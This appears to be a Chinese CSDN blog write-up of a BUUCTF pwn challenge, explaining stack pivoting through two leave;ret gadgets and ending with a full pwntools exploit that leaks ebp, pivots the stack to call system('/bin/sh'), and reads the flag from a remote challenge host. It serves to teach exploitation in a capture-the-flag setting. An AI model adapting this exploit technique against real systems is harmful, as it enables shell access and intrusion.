PWN-栈迁移

栈迁移

题目:BUUCTF在线评测 (buuoj.cn)

知识点:栈迁移

  1. 使用情况:题目中有栈溢出,但是 栈溢出的范围 有限,导致构造的ROP链不能完全写入到栈中,此时需要进行栈迁移,将栈迁移到能接受更多数据的位置(改变相继sp、bp寄存器的值),位函数调用、传参构造一个新的栈空间。

  2. 函数调用时,无论传参、存bp值还是存返回值都是用栈完成(以32位为例),在普通的栈溢出情况下构造ROP也无非是重新为函数的调用构造了一个 新栈 ,而 栈的位置由sp寄存器 的值确定。

  3. 要改变sp、bp寄存器,拿必定不能使用程序原先在栈上保存的bp寄存器值,所以要将其 覆盖掉 ,如何改变sp和bp即为栈迁移的关键。

  4. 改变sp、bp的关键在于函数退出时的 leave;ret -> mov sp,bp;popbp 指令,这组指令通常是被用来恢复函数的调用的栈帧,时程序返回后仍能正常运行,其与函数开头的 push;mov指令(用来生成栈帧)相反,先看这篇了解栈帧的相关知识 PWN入门–栈溢出_pwn栈溢出-CSDN博客

    image-20240601192020502

    image-20240601192244862

  5. 改变sp、bp需要用到 两层leave;ret 指令,将我们用来覆盖的值传递给sp寄存器,因为一层leave;ret 指令只能将bp寄存器的值改变,无法改变sp寄存器(原因:利用栈溢出无法在 mov sp,bp 指令前直接修改bp寄存器),但是第二层leave;ret 可以借助第一次修改的bp寄存器值来更新sp寄存器。因此,可以用 覆盖值 (覆盖掉bp寄存器指向的栈空间上的值)来更新sp寄存器。

    • 以该例题为例子进行调试:

    • 进入vul函数时,栈上的状态:

      image-20240601211007396

      image-20240601211509331

    • 可见bp寄存器中存储着地址 0xffffcfd8(调用者的sp寄存器值),bp所指向的栈空间上的值为 0xffffcfe8 (调用者的sp寄存器值,指向栈低)。

    • 此时输入0x30个字符来覆盖bp和其下面的返回值:

      image-20240601211355099

    • 可见bp寄存器指向的栈空间已经被覆盖(数据随便输入,仅实验用),后面的函数返回地址也被修改,此时执行最后的 leave;ret 指令,观寄存器的变化,可见bp寄存器的值已经被我们用来覆盖的值替换了,但是sp寄存器的值任然正常(因为push bp和ret,导致sp寄存器在原bp寄存器的基础上+8):

      image-20240601211836403

    • 此时如果将返回值替换为一组 leave;ret地址,修改ip值,再执行一次leave,那么sp寄存器将变化为 bp寄存器中的值+4 ,于是完成栈迁移过程,所以 新的返回值 就在 (bp)+4地址处,执行ret指令即可改变ip为该返回值,调用该处函数:

    • 第一次 leave;ret

      image-20240601212358780

    • 第二次 leave;ret

      image-20240601212410397

题解:

  1. vul函数中read函数值给了0x30个输入空间,只能覆盖到函数的返回值处(前面调试过),虽然存在后门函数hack,但是其参数不是 /bin/sh,在构造ROP时需要修改参数,者导致ROP链的长度超过了read的读取范围,一次考虑栈迁移:

    image-20240601213220865

    image-20240601213234098

  2. 栈迁移的位置因考虑在read的读取范围之内,首先应该考虑栈迁移的目标位置target,直接选择输入s的首地址即可,在 bp-0x38 处,所以首先需要 泄漏数bp处栈上 的值:

    image-20240601215613932

  3. printf函数将s以字符串的形式输出,遇到空白符才终止,所以只要将分配给s的空间全部填满即可泄漏bp处的地址,gbd调试如下:

    image-20240601220413055

    image-20240601220503921

  4. 迁移完成后,ret的返回值就在bp-0x38+4处,调用后函数的返回值就在bp-0x38+4+4(随便填),传递的 参数的地址 (参数“/bin/sh”需要手动写入,地址需要手动计算相对于bp的偏移bp-0x38+4+4+4+4)就放在bp-0x38+4+4+4,“/bin/sh”放在地址 bp-0x38+4+4+4+4 处。

  5. EXP如下:

    from pwn import *
    # from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    
    p=remote('node5.buuoj.cn',28101)
    flag = []
    sys_addr = 0x08048400
    leave_ret = 0x08048562
    p.recvuntil("Welcome, my friend. What's your name?\n")
    
    #先泄漏出ebp地址,printf以字符串形式输出s,直到遇到空白符停止,所以可以泄漏ebp的值
    payload1= 0x20*b"a"+b"b"*0x8
    p.send(payload1)
    p.recvuntil("b"*0x8)
    ebp_addr=u32(p.recv(4))
    log.success('ebp==>'+hex(ebp_addr))
    
    #进行栈迁移
    payload2 = (b"aaaa"+p32(sys_addr)+p32(0)+p32(ebp_addr-0x28)+b'/bin/sh').ljust(0x28,b'\x00')+p32(ebp_addr-0x38) + p32(leave_ret)
    p.send(payload2)
    p.recvuntil(b'Hello, aaaa\n')
    p.sendline(b'cat flag')
    
    flag.append(p.recv().decode()[0:len(flag)-1])
    p.interactive()
    
    print(flag)
    

    image-20240601221641973

  • 18
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值